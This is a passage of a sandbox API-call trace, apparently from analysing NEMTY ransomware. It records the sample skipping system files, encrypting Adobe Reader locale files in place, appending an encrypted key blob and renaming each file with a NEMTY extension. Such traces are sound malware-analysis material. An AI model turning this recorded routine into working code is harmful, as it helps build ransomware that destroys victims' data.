lstrcmpiW (lpString1="Acroform.CHT", lpString2="programdata") returned -1 [0186.347] lstrcmpiW (lpString1="Acroform.CHT", lpString2="appdata") returned -1 [0186.347] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.347] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0186.348] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CHT", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CHT", lpUsedDefaultChar=0x0) returned 12 [0186.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.348] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.348] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.348] Sleep (dwMilliseconds=0x5) [0186.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22b92e70, dwHighDateTime=0x1d561e8)) [0186.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22b92e70, dwHighDateTime=0x1d561e8)) [0186.355] GetLastError () returned 0x0 [0186.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.356] GetLastError () returned 0x0 [0186.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.356] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.356] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.356] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="AcihsjQOoGNEQmgNuzJMWVGejDYdTf38OzVoMCSd+6M9GtySLLnP3Ns96zZreDBD\r\nwD4oe82iM285qNwYrZA+h31eQM5yIFSLj8AiOSFkdksk4nCwScg0sOJA1ycmx+Wj\r\nHGd4wMcwmI4Dn/NVydQu0M0a6B6eK2BVLNb+Jb41gTlJ1oiOWwdhqDaCL/7a4zux\r\nhCDPFUpG28s1IPO88xahFvWUAFZFonssugNllGgiMFXkpkT1iLpXd3IAVRONpcLR\r\ny0AwnbVwZnW05aXrq5Kf7nwKjS0zpbXEzJ2kUFTcoohmMUl6WqI3v7JWFlyNbF6V\r\nvKm556WzO335UIUScWS7eA==\r\n", pcchString=0x653e5dc) returned 1 [0186.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.356] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Acroform.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\acroform.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.357] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=249344) returned 1 [0186.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0186.357] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.357] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0186.366] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.366] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0186.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.367] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=249344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ce00 [0186.367] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.367] CloseHandle (hObject=0x2e8) returned 1 [0186.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.367] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.367] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.367] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.367] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Acroform.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\acroform.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Acroform.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\acroform.cht._nemty_kgobjgd_")) returned 1 [0186.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0186.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0186.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.368] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.368] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8039ef40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.CHT", cAlternateFileName="ADOBEC~1.CHT")) returned 1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2=".") returned 1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="..") returned 1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="...") returned 1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="windows") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="rsa") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="NTDETECT.COM") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="ntldr") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="MSDOS.SYS") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="IO.SYS") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="boot.ini") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="boot.ini") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="AUTOEXEC.BAT") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="ntuser.dat") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="desktop.ini") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="CONFIG.SYS") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="RECYCLER") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="BOOTSECT.BAK") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="bootmgr") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="programdata") returned -1 [0186.368] lstrcmpiW (lpString1="AdobeCollabSync.CHT", lpString2="appdata") returned -1 [0186.368] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0186.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHT", lpUsedDefaultChar=0x0) returned 19 [0186.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0186.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0186.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHT", lpUsedDefaultChar=0x0) returned 19 [0186.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0186.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0186.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHT", lpUsedDefaultChar=0x0) returned 19 [0186.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0186.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0186.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.369] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CHT", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CHT", lpUsedDefaultChar=0x0) returned 19 [0186.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0186.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.369] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0186.369] Sleep (dwMilliseconds=0x5) [0186.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22bb8fd0, dwHighDateTime=0x1d561e8)) [0186.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22bb8fd0, dwHighDateTime=0x1d561e8)) [0186.371] GetLastError () returned 0x0 [0186.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.371] GetLastError () returned 0x0 [0186.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.371] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0186.371] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.371] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.371] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0186.372] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="7kjq3vAUIBAzmlJUaSVCsJ16bG40mBGkK7BIORdnNstjSeuVJtN8qjltrYAyZ5fh\r\n/3LqobGZZsTj+oPHERS0YHf5I1WXMpCF+xSZt8m/9LB+jurHMXan+6VnF21SMLk+\r\nZrZRUEo9xCJvb6K5NPgsq/+EeQfwl/4S6ThoALHpnaaygLKZ/R5HXrWjvXDkYAvp\r\nCu76jpUucSCN8sPw/dA2ejVUoyxXe3N51cEeFmS9OlrGUCSqVKdtvhNBO/4KV+Pq\r\n36JC9Ir1Bjz3KfPxtqDQQ8fiiKIlBjHIcxeaa+BVKvyN3l+O6YJKdIdJaQAVdPf2\r\noio/0NgQ5avEr6USE3vNEQ==\r\n", pcchString=0x653e5dc) returned 1 [0186.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0186.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0186.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\AdobeCollabSync.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\adobecollabsync.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.372] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6144) returned 1 [0186.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1800) returned 0x6352c48 [0186.372] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.372] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1800, lpOverlapped=0x0) returned 1 [0186.374] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.375] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1800, lpOverlapped=0x0) returned 1 [0186.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.375] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1800 [0186.375] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.375] CloseHandle (hObject=0x2e8) returned 1 [0186.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0186.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0186.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0186.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0186.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0186.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0186.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0186.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0186.375] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\AdobeCollabSync.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\adobecollabsync.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\AdobeCollabSync.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\adobecollabsync.cht._nemty_kgobjgd_")) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.376] HeapFree (in: hHeap=0x4f90000, 